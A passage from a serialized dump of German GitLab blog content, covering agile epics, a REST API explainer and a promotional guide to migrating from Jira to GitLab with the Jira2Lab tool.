kannst:\n\n\u003Ciframe width=\"760\" height=\"515\" src=\"https://www.youtube.com/embed/9W4oxjdAwUs?si=mV_ru2ExQ0SNRdC_\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen>\u003C/iframe>\n\n## Wie tragen Epics zur Agile-Methodologie bei?\n\nDie Aufteilung deiner Ziele in Themes, Initiatives, Epics und User Stories ist für die Umsetzung einer agilen Entwicklung unerlässlich.\n\nDas Prinzip agiler Entwicklung besteht darin, durch das kontinuierliche praktische Testen der Software in enger Zusammenarbeit mit Kund(inn)en schneller Produkte zu entwickeln, die den gewünschten Anforderungen in höherem Maße entsprechen.\n\nEpics tragen dazu in mehrfacher Hinsicht bei:\n- Auf höchster Ebene fördern agile Epics, um ein zentrales Beispiel zu nennen, *langfristiges strategisches Denken*.\n- Epics lassen sich ganz natürlich in *direkt umsetzbare Tasks* auffächern.\n- Indem du das Ziel in kleinere Schritte aufteilst, erreichst du weitaus schneller testbare *Zwischenstufen des Produkts*, sogenannte Minimum Viable Products, MVPs.\n- Indem du das Ziel gliederst und eine Hierarchie aufstellst, sorgst du für *Transparenz*. Umso transparenter der Prozess, umso leichter lassen sich die Ergebnisse erfassen und auswerten.\n- Epics unterstützen die Zusammenarbeit zwischen verschiedenen Abteilungen in deinem Unternehmen sowie zwischen dir und den Kund(inn)en.\n- Epics tragen dazu bei, *Prioritäten* zu setzen und die Arbeitslast darauf zu beschränken, was du wirklich umsetzen kannst.\n- Den richtigen Teams ausreichende Ressourcen zukommen zu lassen ist für die Zielerreichung von höchster Bedeutung. Auch hier erlaubt der modulare Charakter von Epics eine *präzise Ressourcenallokation*.\n- Epics sollten stets ein eindeutiges Enddatum haben. Sie sollen zu fassbaren Ergebnissen führen und innerhalb eines klar definierten Zeitraums beendet sein. Anders gesagt: Wenn deine User Story nicht eindeutig abgeschlossen werden kann, handelt es sich dabei nicht um ein Epic. Diese *Produktfokussierung* ist für Unternehmen sowohl intern als auch extern ein entscheidender Vorteil.\n\n## Epics und MVPs\n\nMVPs sind eine der Schlüsselkomponenten der agilen Methodologie: Mit ihnen lassen sich Ergebnisse von Sprints in Scrum den Kundinnen und Kunden mit einem funktionsfähigen Produkt anschaulich demonstrieren.\nMit Scrum Epics zu arbeiten bedeutet, kontinuierlich auf MVPs hinzuarbeiten. Denn jede User Story entspricht hier in der Regel einem Feature des zu entwickelnden Produkts.\n\nVor allem maximieren Scrum Epics eine der wichtigsten Vorteile von MVPs, der Optimierung der [Flow-Effizienz](https://fourweekmba.com/de/Str%C3%B6mungseffizienz/ \"Flow-Effizienz\") (auch: Durchflusseffizienz, Strömungseffizienz), also der Zeit, in der produktiv und ohne Wartepausen an der Entwicklung gearbeitet werden kann.\n\nDas Epic koordiniert dabei als übergeordnetes Ziel die Aktivitäten verschiedener Teams und sorgt so dafür, dass Tasks nicht linear abgearbeitet werden (eine der zentralen Schwächen des Wasserfallmodells), sondern parallel (eine der zentralen Stärken der agilen Philosophie).\n\n## Den Erfolg von Epics messen\n\nDie Philosophie von agile beruht auf der Überzeugung, dass es besser ist, ein Produkt wiederholt praxisnah zu testen, als es auf dem Papier durchzuplanen. Epics sind ein zentraler Baustein einer agilen Entwicklungsstrategie und so kann ihre Umsetzung nur gelingen, wenn sie ständig daran gemessen werden, ob der aktuelle Stand dich deinem Ziel näher bringt.\n\n Zu diesem Zweck lassen sich Epics in einem „Epic Burndown Report“ abbilden. Diese Berichte, auch als „[Epic Burndown Chart](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html \"Epic Burndown Chart\")“ bezeichnet, vergleichen die ursprünglichen Einschätzungen zum Erreichen der gewünschten Ziele zu Anfang eines Sprints mit der geleisteten Arbeit und den dabei konkret erreichten Ergebnissen am Ende des Sprints. So kommst du ständig zu aktualisierten Prognosen zum (noch) erforderlichen Aufwand und Ressourceneinsatz.\n\n Burndown-Reports sind dynamisch und werden ständig um neue Arbeitsschritte ergänzt. Mit ihnen lässt sich der Erfolg von Epics hervorragend kontinuierlich erfassen und die zukünftigen Aktionen können besser abgeleitet werden.\n\n## Epics: Best Practises\n\nEs gibt eine Vielzahl von Empfehlungen, wie du Epics in der Softwareentwicklung optimal nutzen kannst. Wir haben die wichtigsten Empfehlungen für dich zusammengestellt:\n\n- Beginne so früh wie möglich mit der Planung eines Epics, so dass alle benötigten Informationen zur Verfügung stehen.\n- Beziehe alle betroffenen Abteilungen sowie Kund(inn)en mit ein.\n- Setze einen klar definierten Zeitraum an.\n- Beschränke die Zahl der User Stories, die zum Erreichen des Epics benötigt werden. Umso geringer diese Zahl, um so übersichtlicher bleibt die Planung und umso schneller gelangst du zum MVP. Statt also einem perfekten Produkt nachzujagen, setze um, was zu diesem Zeitpunkt machbar ist – und schaffe dann für die nächste Version ein neues Epic.\n- Bleibe flexibel und sei bereit, das Epic grundlegend anzupassen, wenn Praxis-Feedback dies nahelegt.\n\n## GitLab Epics und DevSecOps\n\nEpics und DevOps gehören selbstverständlich zusammen. Doch es empfiehlt sich, darüber hinaus auch noch den Sicherheitsaspekt zu berücksichtigen.\n\nDenn Sicherheitslücken stellen für jede Software und jedes neue Feature ein entscheidendes Risiko dar. Sie zu schließen gelingt weitaus besser, wenn du bei jedem Schritt auf dem Weg zum fertigen Produkt die Sicherheit des Systems mit berücksichtigt und an die Anforderungen anpasst.\n\nGitLab ist die führende DevSecOps-Plattform und unterstützt den Einsatz von Epics sowohl zum Planen als auch im Hinblick auf das Thema Security. In diesem Artikel erfährst du mehr darüber, wie GitLab dich als [KI-gestützte DevSecOps-Plattform](https://about.gitlab.com/de-de/platform/ \"KI-gestützte DevSecOps-Plattform\") unterstützen kann.\n",[973,2033],{"slug":2600,"featured":6,"template":682},"agile-epics-in-gitlab","content:de-de:blog:agile-epics-in-gitlab.yml","Agile Epics In Gitlab","de-de/blog/agile-epics-in-gitlab.yml","de-de/blog/agile-epics-in-gitlab",{"_path":2606,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2607,"content":2613,"config":2618,"_id":2620,"_type":16,"title":2621,"_source":17,"_file":2622,"_stem":2623,"_extension":20},"/de-de/blog/what-is-a-rest-api-guide-and-functions",{"title":2608,"description":2609,"ogTitle":2608,"ogDescription":2609,"noIndex":6,"ogImage":2610,"ogUrl":2611,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2611,"schema":2612},"Was ist eine REST-API? Guide & Funktionen","REST-APIs sind der de-facto-Standard für die Kommunikation zwischen Server und Client. Erfahren Sie hier alles Wissenswerte zum Thema!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662858/Blog/Hero%20Images/API-REST.jpg","https://about.gitlab.com/blog/what-is-a-rest-api-guide-and-functions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist eine REST-API? Guide & Funktionen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2024-10-16\",\n      }",{"title":2608,"description":2609,"authors":2614,"heroImage":2610,"date":2615,"body":2616,"category":697,"tags":2617},[701],"2024-10-16","REST-APIs sind seit über zwei Jahrzehnten ein zentraler Baustein des Internets. Bei ihnen handelt es sich um Programmierschnittstellen (APIs), die den Austausch von Daten zwischen Client und Server regeln. REST-APIs unterliegen einem Satz von Bedingungen, welche der Wissenschaftler Roy Fielding im Jahr 2000 entwickelt und unter der Abkürzung REST (representational state transfer) [festgelegt hat](https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7 \"festgelegt hat\").\n\nREST legt die genaue technische Umsetzung dieser Schnittstellen nicht fest. Fielding hat REST vielmehr als einen „Architektur-Stil“ [bezeichnet](https://www.youtube.com/watch?v=6oFAmQUM8ws \"bezeichnet\"), der eine Vielzahl praktischer Lösungen erlaubt. Jede API, die sich innerhalb der Grenzen dieser Architektur bewegt, entspricht dem REST-Standard.\n\nIn diesem Artikel zeigen wir Ihnen, warum sich REST seit seiner Einführung zum dominanten Modell entwickelt hat und welche Vorteile sich für Web-Development-Teams daraus ergeben. \n\n## Constraints: Die Grundbausteine der REST-Architektur\n\nREST baut auf insgesamt sechs sogenannten „Constraints“ (Einschränkungen) auf. \n\nAus ihnen ergibt sich eine Architektur, die einfach und anpassungsfähig ist und auch in einem rasch wandelnden Geschäftsumfeld langfristig Bestand haben kann.\n\n## Definition: Was ist eine Rest-API?\n\nREST-APIs sind praktische Softwarelösungen, die auf der REST-Dokumentation aufbauen und gemäß der folgenden sechs REST-Prinzipien für ein Client-Server-Modell erstellt werden: \n\n- Unabhängigkeit zwischen Client und Server,\n- Zustandslosigkeit,\n- ein mehrschichtiges Systemmodell, \n- eine einheitliche Schnittstelle,\n- Cache-Fähigkeit und\n- ein optionales Constraint: Code on Demand.\n\nIn den folgenden Abschnitten betrachten wir diese Constraints genauer. \n\n### Unabhängigkeit zwischen Client und Server\n\nREST findet wie erwähnt für APIs Anwendung, die den Austausch von Ressourcen zwischen einem Client und einem Server ermöglichen. Entscheidend ist, dass Client und Server vollkommen unabhängig voneinander bleiben. \n\nSo kann beispielsweise der Code des Servers verändert werden, ohne dass der Client ebenfalls Änderungen vornehmen muss, um weiterhin Informationen anfragen und erhalten zu können. \n\n### Zustandslosigkeit\n\nDie Einschränkung der Zustandslosigkeit hat der REST-Architektur ihren Namen verliehen. Für APIs soll gemäß dieser Vorgabe gelten, dass für die korrekte Beantwortung einer Anfrage die übermittelten Informationen der aktuellen Sitzung ausreichen.\n\nDas bedeutet: Es ist keine dauerhafte Verbindung zwischen Client und Server erforderlich und Client-Anfragen müssen auf der Server-Seite auch nicht zwischengespeichert werden. \n\nZustandslosigkeit führt zu höherer Daten- und Ausfallsicherheit. Gleichzeitig gilt aber auch: Benötigen Nutzer(innen) dieselben Informationen ein zweites Mal, müssen sämtliche Informationen der vorigen Sitzung erneut eingeben werden. \n\n### Mehrschichtiges Systemmodell\n\nFür jedes Unternehmen ist eine andere Server-Struktur optimal. Werden Informationen beispielsweise in verschiedenen Schichten gespeichert, gestaltet sich die Abfrage mehr oder weniger komplex. Das aber sollte für eine Anfrage unerheblich bleiben, solange die Daten korrekt übermittelt werden.  \n\nDie Einschränkung des mehrschichtigen Systemmodells ist somit das Gegenstück zur Zustandslosigkeit. Während letztere besagt, dass der Server vom Client nichts weiter benötigt als die Anfrageinformationen, verlangt das mehrschichtige Modell, dass dem Client nicht bekannt zu sein braucht, wie der Server die angeforderten Daten bereitstellt. \n\nDer Server kann also mit einer Vielzahl verschiedener Architekturen arbeiten, ohne dass die REST-API-Schnittstelle beeinflusst wird. \n\n### Einheitliche Schnittstelle\n\nDiese Einschränkung ist etwas komplexer und wiederum aus vier Unterpunkten aufgebaut. Für Roy Fielding war sie die womöglich wichtigste der gesamten REST-API-Architektur. \n\nDie einheitliche Schnittstelle fordert:\n\n- dass jeder Datensatz über eine einzige URI eindeutig gekennzeichnet ist,\n- dass Veränderungen oder auch Löschungen der Daten nur mittels der grundlegenden Netzwerkprotokollbefehle, wie GET, POST, PUT/PATCH und DELETE, vorgenommen werden können,\n- dass jede Nachricht, die versandt wird, mittels Metadaten sämtliche Informationen bereithält, die für die Bearbeitung der Daten erforderlich ist und\n- dass, sofern erforderlich, Hyperlinks (HATEOAS) bereitgestellt werden, um weitere benötigte Informationen einzuholen.\n\nDie einheitliche Schnittstelle sorgt für maximale Klarheit und eine einfache, standardisierte Client-Server-Kommunikation. \n\n### Cache-Fähigkeit\n\nZwar findet bei REST-APIs der Ressourcenaustausch zustandslos statt, zugleich aber sollten einmal angeforderte Daten aus einer Sitzung auf demselben Endgerät weiterverwendet werden können.\n\nIndem REST das Cachen dieser Informationen ermöglicht, sorgt es für eine höhere Effizienz und beschleunigt viele Prozesse bedeutend.\n\n### Code on Demand\n\nFür die meisten Anwendungen reicht die Bereitstellung der Daten in der Form von XML or JSON vollkommen aus. In bestimmten Fällen aber kann es von Vorteil sein, dem Client darüber hinaus –      oder stattdessen – eine Anwendung bereitzustellen. Denken Sie dabei an Java Applets oder JavaScript.\n\nCode on Demand stellt eine sinnvolle Erweiterung der REST-Architektur dar, aber sie ist als einzige der sechs Einschränkungen optional. \n\n## Wofür eignen sich REST-APIs?\n\nFlexibilität ist eines der Hauptmerkmale von REST-APIs. So sind sehr viele praktische Anwendungen denkbar:\n\n- Ganz grundsätzlich das Abrufen und Bereitstellen von Daten. Social-Media-Seiten wie Instagram oder Facebook nutzen REST-APIs beispielsweise um Updates zu posten.\n- Gerade weil sie zustandslos sind, eignen sich REST-APIs für Cloud-Services: Auch wenn die Verbindung abbricht, können die Daten weiter genutzt werden. \n- [Microservices](https://microservices.io/ \"Microservices\") gewinnen rasch an Beliebtheit und Bedeutung. Mit ihnen geht ein umfassender Perspektivenwechsel einher: Applikationen werden nicht mehr als riesige, in sich geschlossene Systeme gedacht, sondern als modular und aus kleineren, schlanken Elementen zusammengesetzt. REST-APIs bilden die ideale Schnittstelle zur nahtlosen Integration dieser verschiedenen Bausteine.\n\nIm Laufe der letzten 20 Jahre sind Alternativen zu REST-APIs verfügbar geworden. Dennoch hat sich keine davon auf breiter Basis durchsetzen können. Ganz offensichtlich ist REST auch aktuell der beste Ansatz zum Datenaustausch im Netz. \n\n## Was sind die Vorteile einer Rest-     API?\n\nIn den frühen Tagen des Internets war SOAP (Simple object access protocol) die dominante Form des Datenaustauschs. \n\nDass sich REST seitdem durchgesetzt hat und fast ein Vierteljahrhundert lang relevant geblieben ist, lässt sich recht einfach aus seinen inhärenten Vorteilen erklären:\n\n- SOAP vs REST: SOAP ist ein Protokoll, das Regeln und auch technische Realisierungen im Gegensatz zu REST sehr präzise vorschreibt. Daraus ergibt sich unmittelbar, dass APIs, die auf diesen Anforderungen aufbauen, weitaus komplexer als REST-APIs sind.\n- Die APIs, die gemäß der REST-Richtlinien programmiert wurden, basieren auf dem HTTP-Standard. Sie sind schnell und effizient und in nahezu jedem Kontext einsetzbar. Aus genau diesen Gründen eignen sich REST-APIs auch besonders gut für mobile Anwendungen.\n- Der Begriff der Skalierbarkeit ist bereits gefallen und er ist auch einer der maßgeblichen Argumente für die Verwendung von REST-APIs. Darunter ist zu verstehen, dass bei Erweiterungen der Server-Architektur nicht die darunter liegende Datenaustausch-Technologie verändert werden muss. \n- Einige Unternehmen setzen aus Sicherheitserwägungen immer noch auf SOAP. Allerdings sind REST-APIs keineswegs grundsätzlich unsicher. Entscheidend ist, einige grundlegende Best Practices anzuwenden – darunter die Verwendung von HTTPS sowie Autorisierung und Authentifizierung. \n\n## Gibt es eine REST-API von GitLab?\n\nAuch bei GitLab sind wir von den Vorzügen der REST-Architektur überzeugt. Aus diesem Grund stellen wir unseren Nutzer(inne)n eine [GitLab-REST-API](https://docs.gitlab.com/ee/api/rest/ \"GitLab-REST-API\") zur Verfügung. \n\nBei GitLab handelt es sich um den führenden Anbieter von DevSecOps-Lösungen. Anwender(innen) nutzen die Plattform, um sicher, fehlerfrei und kollaborativ an Entwicklungsprojekten zu arbeiten. \n\nDie GitLab-API kann sowohl genutzt werden, um öffentlich sichtbare, als auch nicht öffentliche Daten (nach erfolgter Authentifizierung und Autorisierung) abzurufen. Weil die API unmittelbar auf GitLab abgestimmt ist, erfolgt der Austausch sicher, schnell und effizient. \n\n## REST-API FAQs\n\n### Ist REST ein Standard?\n\nREST ist ein Satz aus sechs Einschränkungen, die den Datenaustausch in einer Client-Server-Beziehung regeln. Alle API-Schnittstellen, die diesen Vorgaben entsprechen, sind „RESTful“. \nEs ist somit nicht falsch, REST als einen Standard zu bezeichnen. Allerdings gilt dies weniger im Sinne eines Protokolls oder konkreter Anweisungen. REST gibt vielmehr Leitlinien und Anforderungen vor, deren Umsetzung zu gewünschten Ergebnissen führen, unabhängig davon, wie diese technisch realisiert werden.\n\nAus diesem Grund wird REST zumeist als ein „Architektur-Stil“ definiert. \n\n### Muss ich alle sechs REST-Einschränkungen befolgen?\n\nRoy Fielding hat hierzu persönlich im Laufe der Jahre mehrfach [Stellung bezogen](https://www.infoq.com/articles/roy-fielding-on-versioning/ \"Stellung bezogen\"). Seine Ansichten zu dieser Frage sind eindeutig: REST ist nicht in allen Fällen zwangsläufig die beste Option. Wenn man aber eine REST-konforme Architektur wünscht, müssen sämtliche Constraints ausnahmslos umgesetzt werden. \n\nEine API beispielsweise, die alle Einschränkungen umsetzt, bei der aber keine Daten gecached werden können, ist nicht RESTful. \n\nDie einzige Ausnahme ist Code on Demand. Diese Einschränkung ist optional und muss somit nicht umgesetzt werden, damit eine REST-API die Kriterien erfüllt. \n\n### Wie passen Cache-Fähigkeit und Zustandslosigkeit zusammen?\n\nZwischen den Einschränkungen der Cache-Fähigkeit und Zustandslosigkeit scheint ein Spannungsverhältnis zu bestehen. Wenn bei jeder Anfrage die Daten neu übermittelt werden müssen, widerspricht das Zwischenspeichern von Daten im Cache dann nicht dieser Forderung? \n\nIn Wahrheit fordert Zustandslosigkeit lediglich, dass der Server jede Anfrage so behandelt, als wäre sie die erste. Es besteht keine Zuordnung der Daten im Cache zu einer aktuellen Anfrage. \n\nDas Cachen der Daten dient lediglich einer höheren Effizienz und sorgt für Stabilität. \n\n### Was bedeutet der Begriff Idempotenz im Zusammenhang mit REST-APIs?\n\nWenn ein Client dieselbe Anfrage mehrfach nacheinander stellt, spricht man von Idempotenz. Das kann entweder passieren, weil die Verbindung instabil oder der Code fehlerhaft ist. \n\nEntscheidend ist, dass eine solche idempotente Anfrage nicht zu einem Fehler bei der Beantwortung der Anfrage führt. \n\nDie Einschränkung der Cache-Fähigkeit sorgt dafür, dass idempotente Anfragen als solche erkannt und fehlerfrei bearbeitet werden können. \n\n### Wie lassen sich Rest-APIs sichern?\n\nREST-APIs können sehr effektiv gesichert werden. \n\nÜbliche und sehr effiziente Methoden sind die Verwendung von HTTPS und API-Schlüsseln, die Durchführung von Authentifizierungen und Autorisierungen sowie die Durchführung einer Input-Validation und eines Audit-Loggings. \n\nAuch die Begrenzung der Anfragen in einem bestimmten Zeitfenster im Sinne eines Rate-Limiting empfiehlt sich.",[2033,787],{"slug":2619,"featured":6,"template":682},"what-is-a-rest-api-guide-and-functions","content:de-de:blog:what-is-a-rest-api-guide-and-functions.yml","What Is A Rest Api Guide And Functions","de-de/blog/what-is-a-rest-api-guide-and-functions.yml","de-de/blog/what-is-a-rest-api-guide-and-functions",{"_path":2625,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2626,"content":2631,"config":2639,"_id":2641,"_type":16,"title":2642,"_source":17,"_file":2643,"_stem":2644,"_extension":20},"/de-de/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"ogTitle":2627,"schema":2628,"ogImage":2126,"ogDescription":2629,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2630,"title":2627,"canonicalUrls":2630,"description":2629},"Jira zu GitLab Migration 2025: Kosten sparen & mehr Features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nahtlose Migration von Jira zu GitLab mit Jira2Lab im großen Maßstab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Maximilien Belinga\"}],\n        \"datePublished\": \"2024-10-10\",\n      }","Atlassian erhöht Preise um bis zu 30 %. Erfahre, wie du mit GitLab mehr bekommst und dabei Geld sparst. Komplette Migrationsanleitung mit Jira2Lab.","https://about.gitlab.com/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"heroImage":2126,"body":2632,"authors":2633,"updatedDate":1343,"date":2635,"title":2636,"tags":2637,"description":2638,"category":976},"[Atlassian Server wurde Ende Februar eingestellt](https://about.gitlab.com/de-de/move-to-gitlab-from-atlassian/), sodass viele Kund(inn)en sich nach Alternativen wie Atlassian Cloud oder Atlassian Data Center umsehen. Viele Unternehmen, die bislang Atlassian Server genutzt haben, setzen jedoch vermehrt auf Lösungen im Bereich Agile Planning, die flexiblere, kosteneffizientere und robustere DevSecOps-Integrationen bieten. Außerdem müssen sie Herausforderungen hinsichtlich Datenvolumen, Anpassbarkeit, Benutzerabbildung, Leistung und Datenintegrität bei der Migration bewältigen. Hier kommt [Jira2Lab von GitLab](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/jira2lab) ins Spiel – diese nahtlose Lösung ermöglicht eine Migration von Jira zu GitLab im großen Maßstab und bietet gleichzeitig eine vollständige CI/CD-Integration.\n\n## Das Problem bei großen Jira-Migrationen\n\nDie Migration von Jira zu GitLab kann eine enorme Herausforderung sein, vor allem für Unternehmen mit komplexen Workflows und tausenden Tickets, die migriert werden müssen. Das sind die häufigsten Herausforderungen bei solchen Migrationen:\n\n- **Massive Datenmigration:** Wenn die Anzahl der Tickets, Anhänge, Kommentare und Projekte steigt, steigt auch die Schwierigkeit, diese ohne Leistungsprobleme oder Datenverluste zu migrieren.\n\n- **Benutzerdefinierte Felder und Workflows:** Jira-Instanzen enthalten oft benutzerdefinierte Workflows, Felder und Tickettypen, die keine direkte Entsprechung in GitLab haben. Diese Diskrepanzen sorgen bei der Migration für Schwierigkeiten, da bei bestehenden Tools oft eine manuelle Intervention nötig ist, um diese Elemente richtig zu übertragen.\n\n- **Mangel an einer vollständigen DevSecOps-Integration:** Viele Migrationstools schaffen zwar, Projektmanagementdaten zu migrieren, integrieren jedoch nicht die vollständigen DevSecOps-Funktionen von GitLab. Dadurch müssen Teams ihre [CI/CD-Pipelines](https://about.gitlab.com/de-de/topics/ci-cd/) und Managementsysteme der Versionskontrolle nach der Migration manuell konfigurieren.\n\n## Die Lösung: Jira2Lab\n\nJira2Lab wurde von Grund auf neu für die spezifischen Herausforderungen entwickelt, die eine Migration von Jira zu GitLab im großen Maßstab mit sich bringt. Es geht nicht nur darum, Daten zu verschieben, sondern Teams ohne Ausfallzeiten oder Datenverluste den nahtlosen Umstieg auf die leistungsstarke DevSecOps-Umgebung von GitLab zu ermöglichen.\n\n### Schlüsselfunktionen von Jira2Lab\n\n1. Effizienter Umgang mit Daten im großen Maßstab\u003Cbr>\nJira2Lab wurde dafür optimiert, tausende Tickets, Anhänge, Kommentare und benutzerdefinierte Projekte in mehreren Projekten ohne Leistungseinbußen zu bewältigen. Es lässt sich mühelos skalieren, um sogar Migrationen der größten Unternehmen zu meistern.\n\n2. Benutzerdefinierte Workflow- und Felder-Zuordnung\u003Cbr>\nEine der herausragenden Funktion von Jira2Lab ist die automatische Zuordnung von benutzerdefinierten Workflows und Feldern von Jira zu GitLab. Das Tool bietet eine flexible Mapping-Konfiguration, dank der keine manuelle Intervention beim Migrationsprozess nötig ist und die sicherstellt, dass alles reibungslos von Jira nach GitLab migriert wird.\n\n3. CI/CD-Pipeline-Integration\u003Cbr>\nJira2Lab migriert nicht nur Tickets und Projekte, sondern integriert sogar die komplette CI/CD-Pipeline von GitLab in den Migrationsprozess. Dadurch wird sichergestellt, dass die Entwicklungsteams sofort nach der Migration die DevSecOps-Funktionen von GitLab wie automatisierte Tests und Bereitstellungs-Pipelines nutzen können.\n\n4. Testmigrationen\u003Cbr>\nUnser Tool unterstützt Testmigrationen, damit Teams ihre Konfigurationen und Workflows vor der Skalierung testen können. Dadurch wird sichergestellt, dass Probleme frühzeitig erkannt werden, sodass es bei der richtigen Migration zu keinen Unterbrechungen und Ausfällen kommt.\n\n5. Echtzeit-Überwachung\u003Cbr>\nDas Tool bietet Echtzeit-Überwachung und -Protokolle während der Migration sowie vollständige Transparenz, um sicherzustellen, dass jeder Schritt korrekt und fehlerfrei ausgeführt wird.\n\n6. Anpassbar und flexibel\u003Cbr>\nAuch wenn deine Jira-Instanz einzigartige Konfigurationen oder Workflows hat, ist Jira2Lab flexibel genug, um die Migration an deine spezifischen Anforderungen anzupassen. So wird sichergestellt, dass bei der Übertragung nichts verloren geht.\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n### Jira und GitLab im Vergleich\n\nDie Migration von Jira zu GitLab hilft, Workflows zu konsolidieren und erweiterte Funktionen zu nutzen, die in GitLab nativ sind. Hier ist ein kurzer Vergleich der Kernfunktionen der beiden Plattformen:\n\n| **Funktion** | **Jira** | **GitLab** |\n|----------|------|--------|\n| Ticketverfolgung | Ja (stark anpassbar) | Ja (in DevSecOps integriert) |\n| Agile Boards | Ja (Kanban, Scrum) | Ja (Issue-Übersichten, Meilensteine) |\n| CI/CD | Nein (externe Tools erforderlich) | Ja (integrierte CI/CD) |\n| Versionskontrolle | Nein (GitHub/Bitbucket erforderlich) | Ja (nativer Git-Support) |\n| DevSecOps-Tools | Begrenzte Integrationen | Kompletter DevSecOps-Lebenszyklus |\n| **KI-Funktionen** | **Atlassian Intelligence (Premium/Enterprise)** | **GitLab Duo (alle Stufen verfügbar)** |\n| **KI-Kosten** | **Zusätzlich ab Premium-Plan** | **In GitLab Ultimate enthalten** |\n| **Sicherheitsscans** | **Über Marketplace-Apps** | **Nativ integriert (SAST, DAST, etc.)** |\n\n\nMit Jira2Lab stellen wir sicher, dass alle wichtigen Aspekte – von der Ticketverfolgung bis hin zu CI/CD-Pipelines – reibungslos migriert werden. Dabei wird der integrierte Ansatz von GitLab hinsichtlich Entwicklung und Betrieb vollständig genutzt.\n\n### Die wahren Kosten einer Jira-Implementierung\n\nWährend Jira auf den ersten Blick kostengünstig erscheinen mag, zeigt sich bei genauerer Betrachtung ein anderes Bild:\n\n**Versteckte Kosten bei Jira:**\n- Separate Lizenzen für Confluence (Dokumentation), Bitbucket (Code) und Bamboo (CI/CD)\n- Marketplace-Apps für grundlegende Funktionen (durchschnittlich 5-10 Apps pro Installation)\n- Atlassian Intelligence nur in teuren Premium/Enterprise-Plänen\n- Assets und Virtual Service Agent mit verbrauchsbasierter Abrechnung\n\n**GitLabs All-in-One-Vorteil:**\nMit GitLab erhalten Teams eine vollständige DevSecOps-Plattform ohne zusätzliche Lizenzkosten. Wiki, Code-Repository, CI/CD, Sicherheitsscans und KI-Funktionen sind bereits enthalten, was bei vergleichbarem Atlassian-Stack leicht das 2-3-fache kosten kann.\n\n### Warum jetzt der richtige Zeitpunkt für eine Migration ist\n\nAtlassian hat in den letzten 18 Monaten eine aggressive Preisstrategie verfolgt, die viele Unternehmen zum Umdenken bewegt:\n- **Oktober 2024**: Cloud-Preise stiegen um 5-20%, wobei größere Teams besonders betroffen waren\n- **Februar 2025**: Data Center-Preise erhöhten sich nochmals um 5-30%, mit besonders drastischen Anstiegen bei Jira Software\n- **Funktionsverlagerung**: Wichtige ITSM-Funktionen wie Incident-, Problem- und Change-Management wurden von Standard auf Premium/Enterprise verschoben\n\nDiese kontinuierlichen Preiserhöhungen machen GitLab zu einer wirtschaftlich attraktiven Alternative, die gleichzeitig einen vollständigen DevSecOps-Ansatz ohne zusätzliche Tool-Kosten bietet.\n\n## Die Migrationsmethodik \n\nJira2Lab folgt einer strukturierten, fünfphasigen Migrationsmethodik, die eine nahtlose Migration mit minimalen Unterbrechungen gewährleistet:\n\n### 1. Entdeckung und Planung\n\nWir beginnen damit, das Jira-Setup des Kunden bzw. der Kundin genau zu verstehen und alle erforderlichen benutzerdefinierten Workflows, Felder und Projekte zu identifizieren, die migriert werden müssen. In dieser Phase wird auch eine Lückenanalyse durchgeführt, um die Funktionen von Jira und GitLab zu vergleichen und den Migrationsprozess abzubilden.\n\n### 2. Einrichtung\nIn dieser Phase konfigurieren wir das Migrationstool und richten die erforderlichen Umgebungen für Jira und GitLab ein. Dabei überprüfen wir alle Berechtigungen und richten vor Beginn der Migration eine Sicherung der Jira-Daten ein.\n\n### 3. Testmigrationen\nVor der Migration des gesamten Datensatzes führen wir Testmigrationen für ausgewählte Projekte durch, um den Migrationsprozess, die Workflows und die Datenintegrität zu testen. So können wir Probleme früh im Prozess erkennen und lösen.\n\n### 4. Skalierte Migrationen\nNach der Validierung der Testmigration skalieren wir die Migration über alle Projekte hinweg, um minimale Ausfallzeiten und reibungslose Übergänge für die Entwicklungsteams zu gewährleisten.\n\n### 5. Abschluss und Unterstützung nach der Migration\nSobald die Migration abgeschlossen ist, bieten wir fortlaufenden Support, um sicherzustellen, dass alle Teams in GitLab voll einsatzfähig sind. In dieser Phase werden auch die Benutzer(innen) geschult und die Jira-Instanz bei Bedarf außer Betrieb genommen.\n\n## Fallstudie: Skalierung mit Jira2Lab\n\nIn einer kürzlich durchgeführten Migration stand ein großes Unternehmen vor der Herausforderung, über 20 000 Tickets in 50 Projekten von Jira zu GitLab zu migrieren. Das Projekt wies hochgradig benutzerdefinierte Workflows und Tausende von Kommentaren und Anhängen auf, die übertragen werden mussten.\n\nMit Jira2Lab konnten wir:\n\n- Alle Daten, einschließlich benutzerdefinierter Felder, ohne Datenverlust migrieren.\n- CI/CD-Pipelines in GitLab einrichten, damit Teams nach der Migration sofort weiterarbeiten konnten.\n- Eine Testmigration von zwei Projekten durchführen, die es uns ermöglichte, kleinere Workflow-Diskrepanzen zu identifizieren und zu beheben, bevor wir die Migration auf das gesamte Unternehmen skalierten.\n\nDas Ergebnis war ein nahtloser Übergang zu GitLab, bei dem der gesamte Prozess innerhalb der geplanten Zeit abgeschlossen wurde und es zu keinen signifikanten Ausfallzeiten kam.\n\n## Lege jetzt mit Jira2Lab los\n\nJira2Lab hebt sich auf dem Markt dadurch ab, dass es genau auf die Einschränkungen 